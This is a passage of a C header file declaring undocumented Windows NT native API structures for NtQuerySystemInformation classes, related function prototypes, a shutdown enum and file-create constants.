CcMapDataNoWaitMiss;\n    ULONG CcMapDataWaitMiss;\n    ULONG CcPinMappedDataCount;\n    ULONG CcPinReadNoWait;\n    ULONG CcPinReadWait;\n    ULONG CcPinReadNoWaitMiss;\n    ULONG CcPinReadWaitMiss;\n    ULONG CcCopyReadNoWait;\n    ULONG CcCopyReadWait;\n    ULONG CcCopyReadNoWaitMiss;\n    ULONG CcCopyReadWaitMiss;\n    ULONG CcMdlReadNoWait;\n    ULONG CcMdlReadWait;\n    ULONG CcMdlReadNoWaitMiss;\n    ULONG CcMdlReadWaitMiss;\n    ULONG CcReadAheadIos;\n    ULONG CcLazyWriteIos;\n    ULONG CcLazyWritePages;\n    ULONG CcDataFlushes;\n    ULONG CcDataPages;\n    ULONG ContextSwitches;\n    ULONG FirstLevelTbFills;\n    ULONG SecondLevelTbFills;\n    ULONG SystemCalls;\n} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;\n\n// Class 3\ntypedef struct _SYSTEM_TIMEOFDAY_INFORMATION\n{\n    LARGE_INTEGER BootTime;\n    LARGE_INTEGER CurrentTime;\n    LARGE_INTEGER TimeZoneBias;\n    ULONG TimeZoneId;\n    ULONG Reserved;\n    LARGE_INTEGER BootTimeBias;\n    LARGE_INTEGER SleepTimeBias;\n} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;\n\n// Class 4\n// This class is obsolete, please use KUSER_SHARED_DATA instead\n\n// Class 5\ntypedef struct _SYSTEM_THREAD_INFORMATION\n{\n    LARGE_INTEGER KernelTime;\n    LARGE_INTEGER UserTime;\n    LARGE_INTEGER CreateTime;\n    ULONG WaitTime;\n    PVOID StartAddress;\n    CLIENT_ID ClientId;\n    KPRIORITY Priority;\n    LONG BasePriority;\n    ULONG ContextSwitches;\n    ULONG ThreadState;\n    ULONG WaitReason;\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\n\ntypedef struct _SYSTEM_PROCESS_INFORMATION\n{\n    ULONG NextEntryOffset;\n    ULONG NumberOfThreads;\n    LARGE_INTEGER SpareLi1;\n    LARGE_INTEGER SpareLi2;\n    LARGE_INTEGER SpareLi3;\n    LARGE_INTEGER CreateTime;\n    LARGE_INTEGER UserTime;\n    LARGE_INTEGER KernelTime;\n    UNICODE_STRING ImageName;\n    KPRIORITY BasePriority;\n    HANDLE UniqueProcessId;\n    HANDLE InheritedFromUniqueProcessId;\n    ULONG HandleCount;\n    ULONG SessionId;\n    ULONG_PTR PageDirectoryBase;\n\n    //\n    // This part corresponds to VM_COUNTERS_EX.\n    // NOTE: *NOT* THE SAME AS VM_COUNTERS!\n    //\n    SIZE_T PeakVirtualSize;\n    ULONG VirtualSize;\n    SIZE_T PageFaultCount;\n    SIZE_T PeakWorkingSetSize;\n    SIZE_T WorkingSetSize;\n    SIZE_T QuotaPeakPagedPoolUsage;\n    SIZE_T QuotaPagedPoolUsage;\n    SIZE_T QuotaPeakNonPagedPoolUsage;\n    SIZE_T QuotaNonPagedPoolUsage;\n    SIZE_T PagefileUsage;\n    SIZE_T PeakPagefileUsage;\n    SIZE_T PrivatePageCount;\n\n    //\n    // This part corresponds to IO_COUNTERS\n    //\n    LARGE_INTEGER ReadOperationCount;\n    LARGE_INTEGER WriteOperationCount;\n    LARGE_INTEGER OtherOperationCount;\n    LARGE_INTEGER ReadTransferCount;\n    LARGE_INTEGER WriteTransferCount;\n    LARGE_INTEGER OtherTransferCount;\n\n    //SYSTEM_THREAD_INFORMATION TH[1];\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\n\n// Class 6\ntypedef struct _SYSTEM_CALL_COUNT_INFORMATION\n{\n    ULONG Length;\n    ULONG NumberOfTables;\n} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION;\n\n// Class 7\ntypedef struct _SYSTEM_DEVICE_INFORMATION\n{\n    ULONG NumberOfDisks;\n    ULONG NumberOfFloppies;\n    ULONG NumberOfCdRoms;\n    ULONG NumberOfTapes;\n    ULONG NumberOfSerialPorts;\n    ULONG NumberOfParallelPorts;\n} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION;\n\n// Class 8\ntypedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION\n{\n    LARGE_INTEGER IdleTime;\n    LARGE_INTEGER KernelTime;\n    LARGE_INTEGER UserTime;\n    LARGE_INTEGER DpcTime;\n    LARGE_INTEGER InterruptTime;\n    ULONG InterruptCount;\n} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;\n\n// Class 9\ntypedef struct _SYSTEM_FLAGS_INFORMATION\n{\n    ULONG Flags;\n} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION;\n\n// Class 10\ntypedef struct _SYSTEM_CALL_TIME_INFORMATION\n{\n    ULONG Length;\n    ULONG TotalCalls;\n    LARGE_INTEGER TimeOfCalls[1];\n} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION;\n\n// Class 11 - See RTL_PROCESS_MODULES\ntypedef struct _RTL_PROCESS_MODULE_INFORMATION\n{\n    ULONG Section;\n    PVOID MappedBase;\n    PVOID ImageBase;\n    ULONG ImageSize;\n    ULONG Flags;\n    USHORT LoadOrderIndex;\n    USHORT InitOrderIndex;\n    USHORT LoadCount;\n    USHORT OffsetToFileName;\n    CHAR FullPathName[256];\n} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION, SYSTEM_MODULE, *PSYSTEM_MODULE;\n\ntypedef struct _RTL_PROCESS_MODULES\n{\n    ULONG NumberOfModules;\n    RTL_PROCESS_MODULE_INFORMATION Modules[1];\n} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES, SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;\n\n// Class 12 - See RTL_PROCESS_LOCKS\ntypedef struct _RTL_PROCESS_LOCK_INFORMATION\n{\n    PVOID Address;\n    USHORT Type;\n    USHORT CreatorBackTraceIndex;\n    ULONG OwnerThreadId;\n    ULONG ActiveCount;\n    ULONG ContentionCount;\n    ULONG EntryCount;\n    ULONG RecursionCount;\n    ULONG NumberOfSharedWaiters;\n    ULONG NumberOfExclusiveWaiters;\n} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION;\n\ntypedef struct _RTL_PROCESS_LOCKS\n{\n    ULONG NumberOfLocks;\n    RTL_PROCESS_LOCK_INFORMATION Locks[1];\n} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS;\n\n// Class 13 - See RTL_PROCESS_BACKTRACES\ntypedef struct _RTL_PROCESS_BACKTRACE_INFORMATION\n{\n    PVOID SymbolicBackTrace;\n    ULONG TraceCount;\n    USHORT Index;\n    USHORT Depth;\n    PVOID BackTrace[16];\n} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION;\n\ntypedef struct _RTL_PROCESS_BACKTRACES\n{\n    ULONG CommittedMemory;\n    ULONG ReservedMemory;\n    ULONG NumberOfBackTraceLookups;\n    ULONG NumberOfBackTraces;\n    RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[1];\n} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES;\n\n// Class 14 - 15\ntypedef struct _SYSTEM_POOL_ENTRY\n{\n    BOOLEAN Allocated;\n    BOOLEAN Spare0;\n    USHORT AllocatorBackTraceIndex;\n    ULONG Size;\n    union\n    {\n        UCHAR Tag[4];\n        ULONG TagUlong;\n        PVOID ProcessChargedQuota;\n    };\n} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY;\n\ntypedef struct _SYSTEM_POOL_INFORMATION\n{\n    ULONG TotalSize;\n    PVOID FirstEntry;\n    USHORT EntryOverhead;\n    BOOLEAN PoolTagPresent;\n    BOOLEAN Spare0;\n    ULONG NumberOfEntries;\n    SYSTEM_POOL_ENTRY Entries[1];\n} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION;\n\n// Class 16\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO\n{\n    USHORT UniqueProcessId;\n    USHORT CreatorBackTraceIndex;\n    UCHAR ObjectTypeIndex;\n    UCHAR HandleAttributes;\n    USHORT HandleValue;\n    PVOID Object;\n    ULONG GrantedAccess;\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION\n{\n    ULONG NumberOfHandles;\n    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];\n} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;\n\n// Class 17\ntypedef struct _SYSTEM_OBJECTTYPE_INFORMATION\n{\n    ULONG NextEntryOffset;\n    ULONG NumberOfObjects;\n    ULONG NumberOfHandles;\n    ULONG TypeIndex;\n    ULONG InvalidAttributes;\n    GENERIC_MAPPING GenericMapping;\n    ULONG ValidAccessMask;\n    ULONG PoolType;\n    BOOLEAN SecurityRequired;\n    BOOLEAN WaitableObject;\n    UNICODE_STRING TypeName;\n} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION;\n\ntypedef struct _SYSTEM_OBJECT_INFORMATION\n{\n    ULONG NextEntryOffset;\n    PVOID Object;\n    HANDLE CreatorUniqueProcess;\n    USHORT CreatorBackTraceIndex;\n    USHORT Flags;\n    LONG PointerCount;\n    LONG HandleCount;\n    ULONG PagedPoolCharge;\n    ULONG NonPagedPoolCharge;\n    HANDLE ExclusiveProcessId;\n    PVOID SecurityDescriptor;\n    OBJECT_NAME_INFORMATION NameInfo;\n} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION;\n\n// Class 18\ntypedef struct _SYSTEM_PAGEFILE_INFORMATION\n{\n    ULONG NextEntryOffset;\n    ULONG TotalSize;\n    ULONG TotalInUse;\n    ULONG PeakUsage;\n    UNICODE_STRING PageFileName;\n} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION;\n\n// Class 19\ntypedef struct _SYSTEM_VDM_INSTEMUL_INFO\n{\n    ULONG SegmentNotPresent;\n    ULONG VdmOpcode0F;\n    ULONG OpcodeESPrefix;\n    ULONG OpcodeCSPrefix;\n    ULONG OpcodeSSPrefix;\n    ULONG OpcodeDSPrefix;\n    ULONG OpcodeFSPrefix;\n    ULONG OpcodeGSPrefix;\n    ULONG OpcodeOPER32Prefix;\n    ULONG OpcodeADDR32Prefix;\n    ULONG OpcodeINSB;\n    ULONG OpcodeINSW;\n    ULONG OpcodeOUTSB;\n    ULONG OpcodeOUTSW;\n    ULONG OpcodePUSHF;\n    ULONG OpcodePOPF;\n    ULONG OpcodeINTnn;\n    ULONG OpcodeINTO;\n    ULONG OpcodeIRET;\n    ULONG OpcodeINBimm;\n    ULONG OpcodeINWimm;\n    ULONG OpcodeOUTBimm;\n    ULONG OpcodeOUTWimm ;\n    ULONG OpcodeINB;\n    ULONG OpcodeINW;\n    ULONG OpcodeOUTB;\n    ULONG OpcodeOUTW;\n    ULONG OpcodeLOCKPrefix;\n    ULONG OpcodeREPNEPrefix;\n    ULONG OpcodeREPPrefix;\n    ULONG OpcodeHLT;\n    ULONG OpcodeCLI;\n    ULONG OpcodeSTI;\n    ULONG BopCount;\n} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO;\n\n// Class 20 - ULONG VDMBOPINFO\n\n// Class 21\ntypedef struct _SYSTEM_FILECACHE_INFORMATION\n{\n    ULONG CurrentSize;\n    ULONG PeakSize;\n    ULONG PageFaultCount;\n    ULONG MinimumWorkingSet;\n    ULONG MaximumWorkingSet;\n    ULONG CurrentSizeIncludingTransitionInPages;\n    ULONG PeakSizeIncludingTransitionInPages;\n    ULONG TransitionRePurposeCount;\n    ULONG Flags;\n} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION;\n\n// Class 22\ntypedef struct _SYSTEM_POOLTAG\n{\n    union\n    {\n        UCHAR Tag[4];\n        ULONG TagUlong;\n    };\n    ULONG PagedAllocs;\n    ULONG PagedFrees;\n    ULONG PagedUsed;\n    ULONG NonPagedAllocs;\n    ULONG NonPagedFrees;\n    ULONG NonPagedUsed;\n} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG;\ntypedef struct _SYSTEM_POOLTAG_INFORMATION\n{\n    ULONG Count;\n    SYSTEM_POOLTAG TagInfo[1];\n} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION;\n\n// Class 23\ntypedef struct _SYSTEM_INTERRUPT_INFORMATION\n{\n    ULONG ContextSwitches;\n    ULONG DpcCount;\n    ULONG DpcRate;\n    ULONG TimeIncrement;\n    ULONG DpcBypassCount;\n    ULONG ApcBypassCount;\n} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION;\n\n// Class 24\ntypedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION\n{\n    ULONG Spare;\n    ULONG DpcQueueDepth;\n    ULONG MinimumDpcRate;\n    ULONG AdjustDpcThreshold;\n    ULONG IdealDpcRate;\n} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION;\n\n// Class 25\ntypedef struct _SYSTEM_MEMORY_INFO\n{\n    PUCHAR StringOffset;\n    USHORT ValidCount;\n    USHORT TransitionCount;\n    USHORT ModifiedCount;\n    USHORT PageTableCount;\n} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO;\n\ntypedef struct _SYSTEM_MEMORY_INFORMATION\n{\n    ULONG InfoSize;\n    ULONG StringStart;\n    SYSTEM_MEMORY_INFO Memory[1];\n} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION;\n\n// Class 26\ntypedef struct _SYSTEM_GDI_DRIVER_INFORMATION\n{\n    UNICODE_STRING DriverName;\n    PVOID ImageAddress;\n    PVOID SectionPointer;\n    PVOID EntryPoint;\n    PIMAGE_EXPORT_DIRECTORY ExportSectionPointer;\n    ULONG ImageLength;\n} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;\n\n// Class 27\n// Not an actually class, simply a PVOID to the ImageAddress\n\n// Class 28\ntypedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION\n{\n    ULONG TimeAdjustment;\n    ULONG TimeIncrement;\n    BOOLEAN Enable;\n} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION;\n\ntypedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION\n{\n    ULONG TimeAdjustment;\n    BOOLEAN Enable;\n} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION;\n\n// Class 29 - Same as 25\n\n// FIXME: Class 30\n\n// Class 31\ntypedef struct _SYSTEM_REF_TRACE_INFORMATION\n{\n   UCHAR TraceEnable;\n   UCHAR TracePermanent;\n   UNICODE_STRING TraceProcessName;\n   UNICODE_STRING TracePoolTags;\n} SYSTEM_REF_TRACE_INFORMATION, *PSYSTEM_REF_TRACE_INFORMATION;\n\n// Class 32 - OBSOLETE\n\n// Class 33\ntypedef struct _SYSTEM_EXCEPTION_INFORMATION\n{\n    ULONG AlignmentFixupCount;\n    ULONG ExceptionDispatchCount;\n    ULONG FloatingEmulationCount;\n    ULONG ByteWordEmulationCount;\n} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;\n\n// Class 34\ntypedef struct _SYSTEM_CRASH_STATE_INFORMATION\n{\n    ULONG ValidCrashDump;\n} SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION;\n\n// Class 35\ntypedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION\n{\n    BOOLEAN KernelDebuggerEnabled;\n    BOOLEAN KernelDebuggerNotPresent;\n} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION;\n\n// Class 36\ntypedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION\n{\n    ULONG ContextSwitches;\n    ULONG FindAny;\n    ULONG FindLast;\n    ULONG FindIdeal;\n    ULONG IdleAny;\n    ULONG IdleCurrent;\n    ULONG IdleLast;\n    ULONG IdleIdeal;\n    ULONG PreemptAny;\n    ULONG PreemptCurrent;\n    ULONG PreemptLast;\n    ULONG SwitchToIdle;\n} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION;\n\n// Class 37\ntypedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION\n{\n    ULONG RegistryQuotaAllowed;\n    ULONG RegistryQuotaUsed;\n    ULONG PagedPoolSize;\n} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;\n\n// Class 38\n// Not a structure, simply send the UNICODE_STRING\n\n// Class 39\n// Not a structure, simply send a ULONG containing the new separation\n\n// Class 40\ntypedef struct _SYSTEM_PLUGPLAY_BUS_INFORMATION\n{\n    ULONG BusCount;\n//  PLUGPLAY_BUS_INSTANCE BusInstance[1];\n} SYSTEM_PLUGPLAY_BUS_INFORMATION, *PSYSTEM_PLUGPLAY_BUS_INFORMATION;\n\n// Class 41\ntypedef enum _SYSTEM_DOCK_STATE\n{\n    SystemDockStateUnknown,\n    SystemUndocked,\n    SystemDocked\n} SYSTEM_DOCK_STATE, *PSYSTEM_DOCK_STATE;\n\ntypedef enum _INTERFACE_TYPE\n{\n    InterfaceTypeUndefined = -1,\n    Internal,\n    Isa,\n    Eisa,\n    MicroChannel,\n    TurboChannel,\n    PCIBus,\n    VMEBus,\n    NuBus,\n    PCMCIABus,\n    CBus,\n    MPIBus,\n    MPSABus,\n    ProcessorInternal,\n    InternalPowerBus,\n    PNPISABus,\n    PNPBus,\n    MaximumInterfaceType\n}INTERFACE_TYPE, *PINTERFACE_TYPE;\n\ntypedef struct _SYSTEM_DOCK_INFORMATION\n{\n    SYSTEM_DOCK_STATE DockState;\n    INTERFACE_TYPE DeviceBusType;\n    ULONG DeviceBusNumber;\n    ULONG SlotNumber;\n} SYSTEM_DOCK_INFORMATION, *PSYSTEM_DOCK_INFORMATION;\n\n// Class 42\ntypedef struct _SYSTEM_POWER_INFORMATION_NATIVE\n{\n    BOOLEAN SystemSuspendSupported;\n    BOOLEAN SystemHibernateSupported;\n    BOOLEAN ResumeTimerSupportsSuspend;\n    BOOLEAN ResumeTimerSupportsHibernate;\n    BOOLEAN LidSupported;\n    BOOLEAN TurboSettingSupported;\n    BOOLEAN TurboMode;\n    BOOLEAN SystemAcOrDc;\n    BOOLEAN PowerDownDisabled;\n    LARGE_INTEGER SpindownDrives;\n} SYSTEM_POWER_INFORMATION_NATIVE, *PSYSTEM_POWER_INFORMATION_NATIVE;\n\n// Class 43\ntypedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION\n{\n//  PNP_VETO_TYPE VetoType;\n    UNICODE_STRING VetoDriver;\n    // CHAR Buffer[0];\n} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION;\n\n// Class 44\n//typedef struct _TIME_ZONE_INFORMATION RTL_TIME_ZONE_INFORMATION;\n\n// Class 45\ntypedef struct _SYSTEM_LOOKASIDE_INFORMATION\n{\n    USHORT CurrentDepth;\n    USHORT MaximumDepth;\n    ULONG TotalAllocates;\n    ULONG AllocateMisses;\n    ULONG TotalFrees;\n    ULONG FreeMisses;\n    ULONG Type;\n    ULONG Tag;\n    ULONG Size;\n} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION;\n\n// Class 46\n// Not a structure. Only a HANDLE for the SlipEvent;\n\n// Class 47\n// Not a structure. Only a ULONG for the SessionId;\n\n// Class 48\n// Not a structure. Only a ULONG for the SessionId;\n\n// FIXME: Class 49\n\n// Class 50\n// Not a structure. Only a ULONG_PTR for the SystemRangeStart\n\n// Class 51\ntypedef struct _SYSTEM_VERIFIER_INFORMATION\n{\n   ULONG NextEntryOffset;\n   ULONG Level;\n   UNICODE_STRING DriverName;\n   ULONG RaiseIrqls;\n   ULONG AcquireSpinLocks;\n   ULONG SynchronizeExecutions;\n   ULONG AllocationsAttempted;\n   ULONG AllocationsSucceeded;\n   ULONG AllocationsSucceededSpecialPool;\n   ULONG AllocationsWithNoTag;\n   ULONG TrimRequests;\n   ULONG Trims;\n   ULONG AllocationsFailed;\n   ULONG AllocationsFailedDeliberately;\n   ULONG Loads;\n   ULONG Unloads;\n   ULONG UnTrackedPool;\n   ULONG CurrentPagedPoolAllocations;\n   ULONG CurrentNonPagedPoolAllocations;\n   ULONG PeakPagedPoolAllocations;\n   ULONG PeakNonPagedPoolAllocations;\n   ULONG PagedPoolUsageInBytes;\n   ULONG NonPagedPoolUsageInBytes;\n   ULONG PeakPagedPoolUsageInBytes;\n   ULONG PeakNonPagedPoolUsageInBytes;\n} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION;\n\n// FIXME: Class 52\n\n// Class 53\ntypedef struct _SYSTEM_SESSION_PROCESS_INFORMATION\n{\n    ULONG SessionId;\n    ULONG SizeOfBuf;\n    PVOID Buffer; // Same format as in SystemProcessInformation\n} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION;\n\n// FIXME: Class 54-97\n\n//\n// Hotpatch flags\n//\n#define RTL_HOTPATCH_SUPPORTED_FLAG         0x01\n#define RTL_HOTPATCH_SWAP_OBJECT_NAMES      0x08 << 24\n#define RTL_HOTPATCH_SYNC_RENAME_FILES      0x10 << 24\n#define RTL_HOTPATCH_PATCH_USER_MODE        0x20 << 24\n#define RTL_HOTPATCH_REMAP_SYSTEM_DLL       0x40 << 24\n#define RTL_HOTPATCH_PATCH_KERNEL_MODE      0x80 << 24\n\n// Class info 64\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX\n{\n    PVOID Object;\n    ULONG_PTR UniqueProcessId;\n    ULONG_PTR HandleValue;\n    ULONG GrantedAccess;\n    USHORT CreatorBackTraceIndex;\n    USHORT ObjectTypeIndex;\n    ULONG  HandleAttributes;\n    ULONG  Reserved;\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;\n\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION_EX\n{\n    ULONG_PTR NumberOfHandles;\n    ULONG_PTR Reserved;\n    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];\n} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;\n\n\n// Class 69\ntypedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION\n{\n    ULONG Flags;\n    ULONG InfoSize;\n    union\n    {\n        struct\n        {\n            ULONG Foo;\n        } CodeInfo;\n        struct\n        {\n            USHORT NameOffset;\n            USHORT NameLength;\n        } KernelInfo;\n        struct\n        {\n            USHORT NameOffset;\n            USHORT NameLength;\n            USHORT TargetNameOffset;\n            USHORT TargetNameLength;\n            UCHAR PatchingFinished;\n        } UserModeInfo;\n        struct\n        {\n            USHORT NameOffset;\n            USHORT NameLength;\n            USHORT TargetNameOffset;\n            USHORT TargetNameLength;\n            UCHAR PatchingFinished;\n            NTSTATUS ReturnCode;\n            HANDLE TargetProcess;\n        } InjectionInfo;\n        struct\n        {\n            HANDLE FileHandle1;\n            PIO_STATUS_BLOCK IoStatusBlock1;\n            PVOID RenameInformation1;\n            PVOID RenameInformationLength1;\n            HANDLE FileHandle2;\n            PIO_STATUS_BLOCK IoStatusBlock2;\n            PVOID RenameInformation2;\n            PVOID RenameInformationLength2;\n        } RenameInfo;\n        struct\n        {\n            HANDLE ParentDirectory;\n            HANDLE ObjectHandle1;\n            HANDLE ObjectHandle2;\n        } AtomicSwap;\n    };\n} SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION;\n\n//\n// Class 75\n//\nstruct _SYSTEM_FIRMWARE_TABLE_INFORMATION;\ntypedef NTSTATUS (__cdecl *PFNFTH)(\n    IN struct _SYSTEM_FIRMWARE_TABLE_INFORMATION *FirmwareTableInformation\n    );\n\ntypedef enum _SYSTEM_FIRMWARE_TABLE_ACTION\n{\n    SystemFirmwareTable_Enumerate = 0,\n    SystemFirmwareTable_Get = 1,\n} SYSTEM_FIRMWARE_TABLE_ACTION, *PSYSTEM_FIRMWARE_TABLE_ACTION;\n\ntypedef struct _SYSTEM_FIRMWARE_TABLE_HANDLER\n{\n    ULONG ProviderSignature;\n    BOOLEAN Register;\n    PFNFTH FirmwareTableHandler;\n    PVOID DriverObject;\n} SYSTEM_FIRMWARE_TABLE_HANDLER, *PSYSTEM_FIRMWARE_TABLE_HANDLER;\n\n//\n// Class 76\n//\ntypedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION\n{\n    ULONG ProviderSignature;\n    SYSTEM_FIRMWARE_TABLE_ACTION Action;\n    ULONG TableID;\n    ULONG TableBufferLength;\n    UCHAR TableBuffer[1];\n} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION;\n\n//\n// Class 81\n//\ntypedef struct _SYSTEM_MEMORY_LIST_INFORMATION\n{\n   SIZE_T ZeroPageCount;\n   SIZE_T FreePageCount;\n   SIZE_T ModifiedPageCount;\n   SIZE_T ModifiedNoWritePageCount;\n   SIZE_T BadPageCount;\n   SIZE_T PageCountByPriority[8];\n   SIZE_T RepurposedPagesByPriority[8];\n} SYSTEM_MEMORY_LIST_INFORMATION, *PSYSTEM_MEMORY_LIST_INFORMATION;\n\n//\n// Class 88\n//\ntypedef struct _SYSTEM_PROCESS_ID_INFORMATION\n{\n    HANDLE UniqueProcessId;                         // On input, set this to Process ID\n    UNICODE_STRING ImageName;                       // On input, initialize to an allocated buffer\n} SYSTEM_PROCESS_ID_INFORMATION, *PSYSTEM_PROCESS_ID_INFORMATION;\n\n//\n// Class 90\n//\ntypedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION\n{\n    GUID  CurrentBootGuid;\n    ULONG Unknown;\n} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION;\n\n\ntypedef NTSTATUS (NTAPI * NTQUERYSYSTEMINFORMATION)(\n    SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    PVOID SystemInformation,\n    ULONG SystemInformationLength,\n    PULONG ReturnLength\n    );\n\ntypedef NTSTATUS (NTAPI * RTLGETNATIVESYSTEMINFORMATION)(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    OUT PVOID SystemInformation,\n    IN ULONG SystemInformationLength,\n    OUT PULONG ReturnLength\n    );\n\ntypedef BOOLEAN (NTAPI * RTLGETPRODUCTINFO)(\n    IN  ULONG OSMajorVersion,\n    IN  ULONG OSMinorVersion,\n    IN  ULONG SpMajorVersion,\n    IN  ULONG SpMinorVersion,\n    OUT PULONG ReturnedProductType\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    OUT PVOID SystemInformation,\n    IN ULONG SystemInformationLength,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQuerySystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    OUT PVOID SystemInformation,\n    IN ULONG SystemInformationLength,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetSystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    IN PVOID SystemInformation,\n    IN ULONG SystemInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetSystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    IN PVOID SystemInformation,\n    IN ULONG SystemInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetNativeSystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    OUT PVOID SystemInformation,\n    IN ULONG SystemInformationLength,\n    OUT PULONG ReturnLength\n    );\n\n//------------------------------------------------------------------------------\n// Shutdown system\n\ntypedef enum _SHUTDOWN_ACTION\n{\n    ShutdownNoReboot,\n    ShutdownReboot,\n    ShutdownPowerOff\n\n} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtShutdownSystem(\n    IN SHUTDOWN_ACTION Action\n    );\n\n//-----------------------------------------------------------------------------\n// File functions\n\n#ifndef OLD_DOS_VOLID\n#define OLD_DOS_VOLID   0x00000008\n#endif\n\n#ifndef FILE_SUPERSEDE\n#define FILE_SUPERSEDE                  0x00000000\n#define FILE_OPEN                       0x00000001\n#define FILE_CREATE                     0x00000002\n#define FILE_OPEN_IF                    0x00000003\n#define FILE_OVERWRITE                  0x00000004\n#define FILE_OVERWRITE_IF               0x00000005\n#define FILE_MAXIMUM_DISPOSITION        0x00000005\n#endif  // File create 